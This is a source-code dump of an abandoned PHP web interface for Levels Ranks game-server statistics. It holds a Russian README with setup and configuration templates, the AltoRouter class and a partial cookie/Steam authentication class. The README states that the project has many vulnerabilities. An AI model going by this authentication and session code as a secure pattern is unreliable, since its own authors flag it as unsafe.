programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: README.md ================================================ > [!WARNING] > **Внимание! Этот проект заброшен и имеет множество уязвимостей. Ставить его не рекомендуется!** > **Attention! This project is abandoned and has many vulnerabilities. It is not recommended to use it!** --- > [!TIP] > **Сейчас разрабатывается и дорабатывается новый проект как альтернатива LR WEB и другим CMS — [Flute CMS](https://github.com/Flute-CMS/cms)** > **A new project — [Flute CMS](https://github.com/Flute-CMS/cms) — is being developed and finalized now.** ---

Levels Ranks - WEB Interface

PHP

----- Пользовательский WEB интерфейс для взаимодействия с плагинами статистики Levels Ranks, Fire Players Stats и RankMe Kento Edition. Официальный канал поддержки в Discord. -----

----- ``` 640K ought to be enough for anybody ``` Требования: ----- - Обязательно: - PHP 7.0 и выше. - Поддержка PHP PDO. - Поддержка PHP GMP. - Поддержка PHP BCMath. - Поддержка PHP cURL. - Поддержка PHP json. - Поддержка PHP Zip. - Рекомендуется: - MySQL 5.7 или MariaDB 10.1 и выше. Установка: ----- - Скачать stable ( Рекомендуется ) или dev релиз Levels Ranks WEB. - Извлечь файлы из архива и переместить их в любой каталог на вашем домене или субдомене. - Перейти на ваш сайт с извлеченной Levels Ranks WEB и пройти процесс установки. - Profit! Конфигурация NGINX: ----- ``` location / { try_files $uri $uri/ /index.php?$query_string; rewrite ^([^.]*[^/])$ $1/ permanent; rewrite !.(gif|jpg|png|ico|css|js|svg|js_controller.php)$ /index.php; } ``` Детальная настройка базы данных: ----- Файл и директория: ``` /storage/cache/sessions/db.php ```
Основной шаблон ``` [0 => [ 'HOST' => 'Ваш хост', 'USER' => 'Логин', 'PASS' => 'Пароль', 'DB' => [0 => [ 'DB' => 'Имя основной базы данных', 'Prefix' => [0 => [ 'table' => 'Название таблицы ( lvl_base )', 'name' => 'Название ( Основной AWP сервер )', 'mod' => '730 / 240 / 215', 'ranks_pack' => 'default', 'steam' => '1 / 0' ], ], ], ], ], ], 'Core' => [0 => [ 'HOST' => 'Ваш хост', 'USER' => 'Логин', 'PASS' => 'Пароль', 'DB' => [0 => [ 'DB' => 'Имя основной базы данных', 'Prefix' => [0 => [ 'table' => 'lvl_' ], ], ], ], ], ], ]; ```
Если вы используете две и более таблиц в одной базе данных ``` [0 => [ 'HOST' => 'Ваш хост', 'PORT' => '3306', 'USER' => 'Логин', 'PASS' => 'Пароль', 'DB' => [0 => [ 'DB' => 'Имя основной базы данных', 'Prefix' => [0 => [ 'table' => 'Название таблицы ( lvl_base )', 'name' => 'Название ( Основной AWP сервер )', 'mod' => '730 / 240 / 215', 'ranks_pack' => 'default', 'steam' => '1 / 0' ], [ 'table' => 'Название таблицы 2 ( lvl_base_2 )', 'name' => 'Название ( Основной MM сервер )', 'mod' => '730 / 240 / 215', 'ranks_pack' => 'default', 'steam' => '1 / 0' ], ], ], ], ], ], 'Core' => [0 => [ 'HOST' => 'Ваш хост', 'USER' => 'Логин', 'PASS' => 'Пароль', 'DB' => [0 => [ 'DB' => 'Имя основной базы данных', 'Prefix' => [0 => [ 'table' => 'lvl_' ], ], ], ], ], ], ]; ```
Если вы используете две и более базы данных из под одного пользователя ``` [0 => [ 'HOST' => 'Ваш хост', 'PORT' => '3306', 'USER' => 'Логин', 'PASS' => 'Пароль', 'DB' => [0 => [ 'DB' => 'Имя основной базы данных', 'Prefix' => [0 => [ 'table' => 'Название таблицы ( lvl_base )', 'name' => 'Название ( Основной AWP сервер )', 'mod' => '730 / 240 / 215', 'ranks_pack' => 'default', 'steam' => '1 / 0' ], ], ], [ 'DB' => 'Имя второй базы данных', 'Prefix' => [0 => [ 'table' => 'Название таблицы ( lvl_base )', 'name' => 'Название ( Новый MM сервер )', 'mod' => '730 / 240 / 215', 'ranks_pack' => 'default', 'steam' => '1 / 0' ] ], ], ], ], ], 'Core' => [0 => [ 'HOST' => 'Ваш хост', 'USER' => 'Логин', 'PASS' => 'Пароль', 'DB' => [0 => [ 'DB' => 'Имя основной базы данных', 'Prefix' => [0 => [ 'table' => 'lvl_' ], ], ], ], ], ], ]; ```
Если вы используете двух и более пользователей с разными базами данных ``` [0 => [ 'HOST' => 'Ваш хост', 'PORT' => '3306', 'USER' => 'Логин', 'PASS' => 'Пароль', 'DB' => [0 => [ 'DB' => 'Имя основной базы данных', 'Prefix' => [0 => [ 'table' => 'Название таблицы ( lvl_base )', 'name' => 'Название ( Основной AWP сервер )', 'mod' => '730 / 240 / 215', 'ranks_pack' => 'default', 'steam' => '1 / 0' ], ], ], ], ], [ 'HOST' => 'Ваш хост 2', 'PORT' => '3306', 'USER' => 'Логин 2', 'PASS' => 'Пароль 2', 'DB' => [0 => [ 'DB' => 'Имя базы данных', 'Prefix' => [0 => [ 'table' => 'Название таблицы ( lvl_base )', 'name' => 'Название ( Основной AWP сервер )', 'mod' => '730 / 240 / 215', 'ranks_pack' => 'default', 'steam' => '1 / 0' ], ], ], ], ], ], 'Core' => [0 => [ 'HOST' => 'Ваш хост', 'USER' => 'Логин', 'PASS' => 'Пароль', 'DB' => [0 => [ 'DB' => 'Имя основной базы данных', 'Prefix' => [0 => [ 'table' => 'lvl_' ], ], ], ], ], ], ]; ```
Если модулю необходимо подключение к другому "моду" ( SB / MA пример ) Используйте шаблон подключения из описания модуля. Пример. Интерация SourceBans или Material Admin: ``` [0 => [ 'HOST' => 'Ваш хост', 'PORT' => '3306', 'USER' => 'Логин', 'PASS' => 'Пароль', 'DB' => [0 => [ 'DB' => 'Имя основной базы данных', 'Prefix' => [0 => [ 'table' => 'Название таблицы ( lvl_base )', 'name' => 'Название ( Основной AWP сервер )', 'mod' => '730 / 240 / 215', 'ranks_pack' => 'default', 'steam' => '1 / 0' ], ], ], ], ], ], 'Core' => [0 => [ 'HOST' => 'Ваш хост', 'USER' => 'Логин', 'PASS' => 'Пароль', 'DB' => [0 => [ 'DB' => 'Имя основной базы данных', 'Prefix' => [0 => [ 'table' => 'lvl_' ], ], ], ], ], ], 'SourceBans' => [0 => [ 'HOST' => 'Хост SB / MA', 'PORT' => '3306', 'USER' => 'Логин SB / MA', 'PASS' => 'Пароль SB / MA', 'DB' => [0 => [ 'DB' => 'Имя базы данных SB / MA', 'Prefix' => [0 => [ 'table' => 'sb_', 'name' => 'SourceBans', 'mod' => '730 / 240 / 215', 'steam' => '1 / 0' ], ], ], ], ], ], ]; ```
Доступные модули: -----
LR WEB ( min. dev #0.2.114 ) - Мини-Статистика на главной странице

- **Старница отображения**: Главная - **Информация**: Добавляет три мини блока с описанием количества игроков, игроков которые заходили за последние 24 часа и количестве убийств в голову. - **Скачать:** Доступен в базовом пакете модулей.
LR WEB ( min. dev #0.2.114 ) - Мониторинг онлайна на главной странице

- **Старница отображения**: Главная - **Информация**: Добавляет мониторинг онлайна серверов с возможностью подключения. - **Скачать:** Доступен в базовом пакете модулей.
LR WEB ( min. dev #0.2.114 ) - Топ игроков на главной странице

- **Старница отображения**: Главная - **Информация**: Добавляет блоки с "топ 10" каждой подключенной таблице Levels Ranks. - **Скачать:** Доступен в базовом пакете модулей.
LR WEB ( min. dev #0.2.114 ) - Профили

- **Старница отображения**: profiles - **Информация**: Добавляет страницы игроков с их личной статистикой. - **Скачать:** Доступен в базовом пакете модулей.
LR WEB ( min. dev #0.2.114 ) - Статистика игроков

- **Старница отображения**: toppoints - **Информация**: Добавляет страницу со статистикой всех игроков игроков. - **Скачать:** Доступен в базовом пакете модулей.
LR WEB ( min. dev #0.2.114 ) - Распределением рангов

- **Старница отображения**: rankstats - **Информация**: Добавляет страницу с распределением рангов на серверах. - **Скачать:** Доступен в базовом пакете модулей.
LR WEB ( min. dev #0.2.114 ) - Панель администратора - **Старница отображения**: adminpanel - **Информация**: Добавляет гибкое администрирование вэб интерфейсом и полезные функции. - **Скачать:** Доступен в базовом пакете модулей.
LR WEB ( min. dev #0.2.114 ) - Страница с банами

- **Старница отображения**: bans - **Информация**: - Интеграция с SB / MA. - Необходимо добавить в db.php новый мод "SourceBans" и описать подключение. Название таблицы указать префиксом, пример: "sb_". - **Скачать:** Доступен в базовом пакете модулей.
LR WEB ( min. dev #0.2.114 ) - Страница с мутами

- **Старница отображения**: comms - **Информация**: - Интеграция с SB / MA. - Необходимо добавить в db.php новый мод "SourceBans" и описать подключение. Название таблицы указать префиксом, пример: "sb_". - **Скачать:** Доступен в базовом пакете модулей.
Благодарность: ----- - pedrotski#1184 ( Discord, ghostcapgaming.com ) - 3 803 RUB. - Larsalex ( hlmod.ru ) - 3000 RUB. - .ZΛCHΞR#1337( Discord ) - 2093.37 RUB. - CEED 🐼#4061 ( Discord ) - 1488 RUB. - mixxed.xyz#4469 ( Discord ) - 1200 RUB. - Эльдарка#7777 ( Discord ) - 1055.1 RUB. - OkyHek#2441 ( Discord ) - 1000 RUB. - Felya#1342 ( Discord ) - 817.12 RUB. - Clubber#2324 ( Discord ) - 784,44 RUB. - Nestor#9876 ( Discord ) - 600 RUB. - MAMAC#9993 ( Discord ) - 511.05 RUB. - dyoma#5525 ( Discord ) - 500 RUB. - Морячок#9904 ( Discord ) - 500 RUB. - Xzotys#3880 ( Discord ) - 500 RUB. - Unity ( hlmod.ru ) - 460 RUB. - MotherRussia#2235 ( Discord ) - 350 RUB. - interes#3153 ( Discord ) - 300 RUB. - xek#1152 ( Discord ) - 300 RUB. - Paranoiiik ( hlmod.ru ) - 300 RUB. - L1MON#4529 ( Discord ) - 300 RUB. - ju4ka1371 ( hlmod.ru ) - 282 RUB. - Good Game Project ( gg-pro.ru ) - 250 RUB. - Wend4r ( hlmod.ru ) - 250 RUB. - Rabb1t ( hlmod.ru ) - 250 RUB. - Sleep#0725 ( Discord ) - 250 RUB. - ERROR404#9842 ( Discord ) - 200 RUB. - Malenkiy Alik#1945 ( Discord ) - 200 RUB. - Морковка#7277 ( Discord ) - 200 RUB. - valerun ( hlmod.ru ) - 185 RUB. - FIVE#3136 ( Discord ) - 155 RUB. - MaZa#8322 ( Discord ) - 150 RUB. - ™S.E.N.A.T.O.R™♛#1466 ( Discord ) - 150 RUB. - SynZilla ( hlmod.ru ) - 150 RUB. - d4Ck#0698 ( Discord ) - 147.67 RUB. - ka1jaru#1648 ( Discord ) - 137.45 RUB. - uraganas#7978 ( Discord ) - 132 RUB. - Domikuss#3855 ( Discord ) - 121.45 RUB. - punisher89#7116 ( Discord ) - 104.45 RUB. - SV3N#9923 ( Discord ) - 100.40 RUB. - HILER#3959 ( Discord ) - 100 RUB. - Truyn#6750 ( Discord ) - 100 RUB. - DevBT#4750 ( Discord ) - 100 RUB. - DismoraL ( hlmod.ru ) - 100 RUB. - xXMaXimXx ( hlmod.ru ) - 100 RUB. - Twenix#4347 ( Discord ) - 100 RUB. - LEGACY#3877 ( Discord ) - 50 RUB. - ARONGAMES#2063 ( Discord ) - 50 RUB. - fr4nch#3619 ( Discord ) - 50 RUB. - HolyHender#8673 ( Discord ) - 33 RUB. - Мировой ( hlmod.ru ) - 29 RUB. Блок разработчика: -----
dev Скелет WEB интерфейса ( dev #0.2.114 ) : ----- ``` /app - Ядро. /ext - PHP Классы. /includes - Основные и дополнительные PHP функции. /modules - Каталог с модулями. /page - Основные заготовки и шаблоны WEB интерфейса. /storage - Хранилище. /assets - CSS, JS, Fonts файлы. /cache - Основной кэш. /img - Кэш изображений. /sessions - Кэш связанный с работой ядра. /index.php - 'Hello World' ``` Модули: ----- Каталог с модулями: ``` /app/modules ``` Что представляет из себя модуль ( На примере **module_block_main_stats** ): ``` /app /modules /module_block_main_stats - Название папки = ID модуля. /ext - PHP Классы. /assets - Ассеты. /css - CSS ассеты. /js - JS ассеты. /forward - Функциональная часть. /data.php - Пре-инициализация. Скрипт начинает свою работу до загрузки шаблона страницы. /data_always.php - Пре-инициализация. Скрипт начинает свою работу до загрузки шаблона и работает на всех страницах. /interface.php - Инициализация. Скрипт начинает свою работу во время загрузки шаблона. /temp - Кэш файлы. /description.json - Описание модуля /translation.json - Если модуль имеет мультиязычность, переводы описываются в данном файле. ``` Шаблон: ----- Директория для работы с шаблонами: ``` app/templates/ ``` Для инициализации шаблона, необходим файл description.json, содержащий такую структуру: ``` { "name": "Ваше название шаблона", "version": "0.1 (Версия вашего шаблона)", "author": "Flames" } ``` Структура папки имеет немного схожую с модулями структуру ``` /templates/name/ ``` Условная папка со стилями и js, все вы сможете подключить в head.php, как вашей душе благорасудится ``` - assets/ - js/ - Папка с JS файлами - css/ - Папка с CSS файлами ``` Верстка будет подгружена ПОСЛЕ оригинальной верстки. Папка, отвечающая за отрисовку контента ``` - interface/ - navbar.php //Навбар сайта, его так сказать голова - sidebar.php //Сайдбар.. Просто сайдбар.. Можно будет переделать под любое применение - head.php //Самый высший файл, необходим для подлючения библиотек, к примеру bootstrap ``` Папка, если нужно дополнительно подгрузить JS, CSS файлы в конкретном модуле ``` - modules/ - module_page_profiles/ - Название папки которое совпадает с названием модуля - dop.css - CSS и JS файлы которые нужно подгрузить, будет загружено ПОСЛЕ основных файлов. - dop.js - module_page_forum/ - Тут может быть любой модуль. -.... ``` Файл с scss переменными, для более удобными работами с цветами ``` colors.json = { "Ваше название переменной, в моем случае это будет --color-zalupa": "#fff", "--sidebar-block": "#0f0f0f0f" } ``` Порядок загрузки: -----
Модули: Порядок загрузки стилей модулей таков: ``` - data_always.php - data.php - interface.php - interface_always.php - css / template css - js / template js ```
Шаблон: Порядок загрузки стилей модулей таков: ``` /Forward - head.php - navbar.php - sidebar.php - container.php // JS / CSS ```
Функции и классы: LR WEB подгружает все свои классы и функции в index.php, поэтому объявлять где - либо класс не обязательно. Классы имеют такую структуру: ``` - AltoRouter.php - Новый класс с роутингом, нужен для чего? Правильно, роутинга! :) - Auth.php - Класс для работы с авторизацией пользователя, запись в сессию данных, если админ авторизировался через L/P - Db.php - Класс для работы с базой данных, используется для отправки запросов ( Не рекомендуется ), и подключение к БД. - General.php - Класс для работы с основными настройками сайта - Graphics.php - Класс для работы с отрисовкой контента и подгрузкой выбранных в админке опций - LightOpenID.php - Класс для авторизации через STEAM, единственный класс, который лучше всего не трогать. - Modules.php - Класс для распределения модулей и их настройкой - Notifications.php - Класс для отрисовки и рендера уведомлений пользователя - Pdox.php (Interface) - Новый класс для работы с базой данных. Можно сказать, что это - Query Builder. Единственный класс, который не вызывается в index.php - Translate.php - Класс, работающий с языком пользователя, и отрисовкой нужных переводов ```
Описание каждой публичной функции класса: ----
AltoRouter.php: Этот класс уже имеет документацию на другой странице GitHub: https://github.com/dannyvankooten/AltoRouter
Auth.php: get_admins_list ---- ``` Получение списка администраторов ``` get_count_admins ---- ``` Подсчет кол - ва администраторов ``` check_session_admin ---- ``` Проверяет данные сессии администратора, с данными, входящими в сервер ``` check_session ---- ``` Проверка на IP ``` authorization_no_steam ---- ``` Запись данных администратора в сессию ``` get_authorization_sidebar_data ---- ``` Выходные файлы для вывода данных о пользователе в сайдбар ```
Db.php: query ( int $mod, int $user_id = 0, int $db_id = 0, string $sql, array $params = [] ) ---- ``` $mod - Мод, из db.php (Vips, Shop, Core) $user_id - Номер базы данных $db_id - Номер таблицы базы данных $sql - Сам SQL запрос $params - Подготовительные значения для PDO, нужно для большей безопасности. Функция, позволяющая выполнить SQL запрос return SQL result; ``` queryNum ( int $mod, int $user_id = 0, int $db_id = 0, string $sql, array $params = [] ) ---- ``` Все то же, как и у query, только на выходе получаем только числовое значение ``` queryAll ( int $mod, int $user_id = 0, int $db_id = 0, string $sql, array $params = [] ) ---- ``` Да ну, все то же самое? О да! Только теперь возвращает весь массив с данными ``` query_all_key_pair ( int $mod, int $user_id = 0, int $db_id = 0, string $sql, array $params = [] ) --- ``` Шаблон запроса отдающий массив со всеми строками, парсирование ключа. ``` queryColumn ( int $mod, int $user_id = 0, int $db_id = 0, string $sql, array $params = [] ) --- ``` Шаблон запроса отдающий массив стобца. ``` queryOneColumn ( int $mod, int $user_id = 0, int $db_id = 0, string $sql, array $params = [] ) --- ``` Шаблон запроса отдающий данные одного стобца. ``` mysql_column_search ( int $mod, int $user_id = 0, int $db_id = 0, string $tablename, string $column ) --- ``` Запрос проверяющий существование столбика в той или иной таблице. $tablename - Название таблицы, которую нужно проверить $column - Название столбца, который нужно найти Возвращает результат проверки, 1 / 0 ``` mysql_table_search ( int $mod, int $user_id = 0, int $db_id = 0, string $tablename ) --- ``` Запрос проверяющий существование таблицы в той или иной базе данных. Возвращает результат проверки, 1 / 0 ``` lastInsertId ( string $mod, int $user_id = 0, int $db_id = 0 ) --- ``` Возвращает ID последней вставленной строки. Возвращает результат ( ID ) ``` __destruct --- ``` "Разрыв соединения с базой данных". ```
General.php: get_default_url_section( string|bool $section, string $default, array|null $arr_true ) ---- ``` Получает и задает название подраздела из URL по умолчанию, сохраняя результат по умолчанию в сессию. $section - Название подраздела. $default - Значние по умолчанию. $arr_true - Белый список. ``` getAvatar( string $profile, int $type ) ---- ``` Получает определенного аватара. $profile - Steam ID игрока $type - Тип/Размер аватара. Возвращает ссылку на аватар ``` checkAvatar( string $profile, int $type ) ---- ``` Проверка на существование определеноого аватара и его актуальность. Выводит итог проверки. ``` checkName( string $profile ) ---- ``` Получение никнейма игрока. Вывод его имени, как ни странно ``` sendNote ( string $text, success|error $status, int $time = 4.5 ) ---- ``` Отправка уведомлений через функцию. $text - Текст уведомления $status - Тип уведомления $time - Время, которое провисит уведомление ``` get_server_list ---- ``` Просто возвращает настройки серверов из БД ``` get_icon ( string $group, string $name, string $category = null ) ---- ``` Получение иконок и работа с ними. $group - Название папки из которой будет читаться иконка. $name - Название иконки. $category - Дополнительное название под-категории, если она имеется. По умолчанию нету. Выводит содержимое SVG файла. || false ``` get_js_relevance_avatar ( string $id, int $type = 1 ) ---- ``` Получение иконок и работа с ними. $id - Steam ID - 32. $type - Тип аватара. Выводит JS скрипт. ```
-----

================================================ FILE: app/ext/AltoRouter.php ================================================ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ namespace app\ext; class AltoRouter { /** * @var array Array of all routes (incl. named routes). */ protected $routes = []; /** * @var array Array of all named routes. */ protected $namedRoutes = []; /** * @var string Can be used to ignore leading part of the Request URL (if main file lives in subdirectory of host) */ protected $basePath = ''; /** * @var array Array of default match types (regex helpers) */ protected $matchTypes = [ 'i' => '[0-9]++', 'a' => '[0-9A-Za-z]++', 'h' => '[0-9A-Fa-f]++', '*' => '.+?', '**' => '.++', '' => '[^/\.]++' ]; /** * Create router in one call from config. * * @param array $routes * @param string $basePath * @param array $matchTypes * @throws Exception */ public function __construct(array $routes = [], $basePath = '', array $matchTypes = []) { $this->addRoutes($routes); $this->setBasePath($basePath); $this->addMatchTypes($matchTypes); } //Поиск роута в массиве public function SearchRoute() { $server = $_SERVER['REQUEST_URI']; $replace = substr($server, strlen($this->basePath)); $match = explode("/", $replace); return $match[0]; } /** * Retrieves all routes. * Useful if you want to process or display routes. * @return array All routes. */ public function getRoutes() { return $this->routes; } /** * Add multiple routes at once from array in the following format: * * $routes = [ * [$method, $route, $target, $name] * ]; * * @param array $routes * @return void * @author Koen Punt * @throws Exception */ public function addRoutes($routes) { if (!is_array($routes) && !$routes instanceof Traversable) { throw new RuntimeException('Routes should be an array or an instance of Traversable'); } foreach ($routes as $route) { call_user_func_array([$this, 'map'], $route); } } /** * Set the base path. * Useful if you are running your application from a subdirectory. * @param string $basePath */ public function setBasePath($basePath) { $this->basePath = $basePath; } /** * Add named match types. It uses array_merge so keys can be overwritten. * * @param array $matchTypes The key is the name and the value is the regex. */ public function addMatchTypes(array $matchTypes) { $this->matchTypes = array_merge($this->matchTypes, $matchTypes); } /** * Map a route to a target * * @param string $method One of 5 HTTP Methods, or a pipe-separated list of multiple HTTP Methods (GET|POST|PATCH|PUT|DELETE) * @param string $route The route regex, custom regex must start with an @. You can use multiple pre-set regex filters, like [i:id] * @param mixed $target The target where this route should point to. Can be anything. * @param string $name Optional name of this route. Supply if you want to reverse route this url in your application. * @throws Exception */ public function map($method, $route, $target, $name = null) { $this->routes[] = [$method, $route, $target, $name]; if ($name) { if (isset($this->namedRoutes[$name])) { throw new RuntimeException("Can not redeclare route '{$name}'"); } $this->namedRoutes[$name] = $route; } return; } /** * Reversed routing * * Generate the URL for a named route. Replace regexes with supplied parameters * * @param string $routeName The name of the route. * @param array @params Associative array of parameters to replace placeholders with. * @return string The URL of the route with named parameters in place. * @throws Exception */ public function generate($routeName, array $params = []) { // Check if named route exists if (!isset($this->namedRoutes[$routeName])) { throw new RuntimeException("Route '{$routeName}' does not exist."); } // Replace named parameters $route = $this->namedRoutes[$routeName]; // prepend base path to route url again $url = $this->basePath . $route; if (preg_match_all('`(/|\.|)\[([^:\]]*+)(?::([^:\]]*+))?\](\?|)`', $route, $matches, PREG_SET_ORDER)) { foreach ($matches as $index => $match) { list($block, $pre, $type, $param, $optional) = $match; if ($pre) { $block = substr($block, 1); } if (isset($params[$param])) { // Part is found, replace for param value $url = str_replace($block, $params[$param], $url); } elseif ($optional && $index !== 0) { // Only strip preceding slash if it's not at the base $url = str_replace($pre . $block, '', $url); } else { // Strip match block $url = str_replace($block, '', $url); } } } return $url; } /** * Match a given Request Url against stored routes * @param string $requestUrl * @param string $requestMethod * @return array|boolean Array with route information on success, false on failure (no match). */ public function match($requestUrl = null, $requestMethod = null) { $params = []; // set Request Url if it isn't passed as parameter if ($requestUrl === null) { $requestUrl = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; } // strip base path from request url $requestUrl = substr($requestUrl, strlen($this->basePath)); // Strip query string (?a=b) from Request Url if (($strpos = strpos($requestUrl, '?')) !== false) { $requestUrl = substr($requestUrl, 0, $strpos); } $lastRequestUrlChar = $requestUrl ? $requestUrl[strlen($requestUrl)-1] : ''; // set Request Method if it isn't passed as a parameter if ($requestMethod === null) { $requestMethod = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET'; } foreach ($this->routes as $handler) { list($methods, $route, $target, $name) = $handler; $method_match = (stripos($methods, $requestMethod) !== false); // Method did not match, continue to next route. if (!$method_match) { continue; } if ($route === '*') { // * wildcard (matches all) $match = true; } elseif (isset($route[0]) && $route[0] === '@') { // @ regex delimiter $pattern = '`' . substr($route, 1) . '`u'; $match = preg_match($pattern, $requestUrl, $params) === 1; } elseif (($position = strpos($route, '[')) === false) { // No params in url, do string comparison $match = strcmp($requestUrl, $route) === 0; } else { // Compare longest non-param string with url before moving on to regex // Check if last character before param is a slash, because it could be optional if param is optional too (see https://github.com/dannyvankooten/AltoRouter/issues/241) if (strncmp($requestUrl, $route, $position) !== 0 && ($lastRequestUrlChar === '/' || $route[$position-1] !== '/')) { continue; } $regex = $this->compileRoute($route); $match = preg_match($regex, $requestUrl, $params) === 1; } if ($match) { if ($params) { foreach ($params as $key => $value) { if (is_numeric($key)) { unset($params[$key]); } } } return [ 'target' => $target, 'params' => $params, 'name' => $name ]; } } return false; } /** * Compile the regex for a given route (EXPENSIVE) * @param $route * @return string */ protected function compileRoute($route) { if (preg_match_all('`(/|\.|)\[([^:\]]*+)(?::([^:\]]*+))?\](\?|)`', $route, $matches, PREG_SET_ORDER)) { $matchTypes = $this->matchTypes; foreach ($matches as $match) { list($block, $pre, $type, $param, $optional) = $match; if (isset($matchTypes[$type])) { $type = $matchTypes[$type]; } if ($pre === '.') { $pre = '\.'; } $optional = $optional !== '' ? '?' : null; //Older versions of PCRE require the 'P' in (?P) $pattern = '(?:' . ($pre !== '' ? $pre : null) . '(' . ($param !== '' ? "?P<$param>" : null) . $type . ')' . $optional . ')' . $optional; $route = str_replace($block, $pattern, $route); } } return "`^$route$`u"; } } ================================================ FILE: app/ext/Auth.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ namespace app\ext; class Auth { /** * @since 0.2 * @var array */ public $user_auth = []; /** * @since 0.2 * @var array */ public $server_info = []; /** * @since 0.2 * @var array */ public $base_info = []; /** * @since 0.2 * @var array */ public $lastconnect = []; /** * @since 0.2 * @var int */ public $user_rank_count = 0; /** * @since 0.2 * @var array */ private $admins = 0; /** * @since 0.2 * @var int */ public $admins_count = 0; /** * @since 0.2 * @var object */ public $General; /** * @since 0.2 * @var object */ public $Db; /** * Длина токена * @var int */ protected $token_length = 16; /** * Время жизни куки * @var int */ protected $cookie_days = 30; /** * Организация работы вэб-приложения с авторизацией. * * @param object $General * @param object $Db * * @since 0.2 */ function __construct( $General, $Db ) { // Проверка на основную константу. defined('IN_LR') != true && die(); // Импорт основного класса. $this->General = $General; // Импорт класса отвечающего за работу с базой данных. $this->Db = $Db; !isset( $_SESSION["steamid"] ) && $this->authByCookie(); // Работа с авторизованным пользователем. if( isset( $_SESSION['steamid'] ) ): // Проверка сессии. $General->arr_general['session_check'] === 1 && $this->check_session(); // Проверка авторизованного пользователя. ! isset( $_SESSION['user_admin'] ) && $this->check_session_admin(); // Получение информации о авторизованном пользователе. $this->get_authorization_sidebar_data(); endif; // Работа со Steam авторизацией. if(isset( $_GET["auth"] )) { if($this->General->arr_general['steam_auth'] == 1 && $_GET["auth"] == 'login') require 'app/includes/auth/steam.php'; } // Работа с No-Steam авторизацией isset( $_POST['log_in'] ) && ! empty( $_POST['_login'] ) && ! empty( $_POST['_pass'] ) && $this->General->arr_general['steam_only_authorization'] === 0 && $this->authorization_no_steam(); // Выход пользователя из аккаунта. isset( $_GET["auth"] ) && $_GET["auth"] == 'logout' && require 'app/includes/auth/steam.php'; } /** * Если не существует столбца, он его создает */ protected function checkTokenCol() { if( !$this->Db->mysql_table_search( "Core", 0, 0, "lr_web_cookie_tokens" ) ) $this->Db->query("Core", 0, 0, "CREATE TABLE IF NOT EXISTS `lr_web_cookie_tokens` ( `id` int(11) NOT NULL AUTO_INCREMENT, `steam` varchar(255) NOT NULL DEFAULT '0', `cookie_expire` varchar(255) NOT NULL DEFAULT '0', `cookie_token` varchar(255) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); } /** * Просто возвращает true/false, включены ли токены */ protected function cookieEnabled() : bool { return (bool) $this->General->arr_general['auth_cock']; } /** * Получить пользователя по текущему токену */ public function getUserToken( string $token ) { if( $this->cookieEnabled() ) return $this->Db->query("Core", 0, 0, "SELECT * FROM `lr_web_cookie_tokens` WHERE `cookie_token` = :token", [ "token" => $token ]); return []; } /** * Авторизация пользователя по кукам */ public function authByCookie() { $this->clearOldTokens(); if( isset( $_COOKIE["cookie_token"] ) ) { if( !empty( $user = $this->getUserToken( htmlentities($_COOKIE["cookie_token"]) ) ) ) { if( $user["cookie_expire"] > time() ) { $steam32 = con_steam64to32( $user["steam"] ); $_SESSION = [ "steamid" => $user["steam"], "steamid64" => $user["steam"], "steamid32" => $steam32, "steamid32_short" => substr( $steam32, 8 ), "USER_AGENT" => $_SERVER['HTTP_USER_AGENT'], "REMOTE_ADDR" => $this->General->get_client_ip_cdn() ]; header('Location: ' . $this->General->arr_general['site'] ); } } } } /** * Почистить старые токены */ public function clearOldTokens() { $this->checkTokenCol(); $this->Db->query("Core", 0, 0, "DELETE FROM `lr_web_cookie_tokens` WHERE `cookie_expire` < UNIX_TIMESTAMP(DATE_SUB(NOW(), INTERVAL ".$this->cookie_days." DAY))"); } /** * функция, которая генерирует токен для авторизации по куки */ public function generateToken() { if( $this->cookieEnabled() ) { $this->checkTokenCol(); $token = bin2hex(random_bytes( $this->token_length )); $this->setUserToken($token, $_SESSION["steamid64"]); setcookie("cookie_token", $token, strtotime("+".$this->cookie_days." days"), "/", ".".$_SERVER['HTTP_HOST']); } } /** * Записать данные токена в пользователя */ protected function setUserToken( string $token, int $steamid64 ) { if( $this->cookieEnabled() ) { if( !empty( $this->Db->query("Core", 0, 0, "SELECT * FROM `lr_web_cookie_tokens` WHERE `steam` = :steam", ["steam" => $steamid64]) ) ) { $this->Db->query("Core", 0, 0, "UPDATE `lr_web_cookie_tokens` SET `cookie_token` = :token, `cookie_expire` = :expire WHERE `steam` = :steam", [ "steam" => $steamid64, "token" => $token, "expire"=> strtotime("+".$this->cookie_days." days") ]); } else { $this->Db->query("Core", 0, 0, "INSERT INTO `lr_web_cookie_tokens`(`steam`, `cookie_token`, `cookie_expire`) VALUES (:steam, :token, :expire)", [ "steam" => $steamid64, "token" => $token, "expire"=> strtotime("+".$this->cookie_days." days") ]); } } } /** * Удалить определенный токен при разлогине */ public function delToken( string $steam ) { $this->Db->query("Core", 0, 0, "DELETE FROM `lr_web_cookie_tokens` WHERE `steam` = :steam", [ "steam" => (int) $steam ]); } /** * Получение списка администраторов. * * @return array Массив с администраторами. */ public function get_admins_list() { return $this->admins = $this->Db->queryAll( 'Core', 0, 0, 'SELECT `steamid`, `group`, `flags`, `access` FROM `lvl_web_admins`' ); } /** * Получение количества администраторов. * * @since 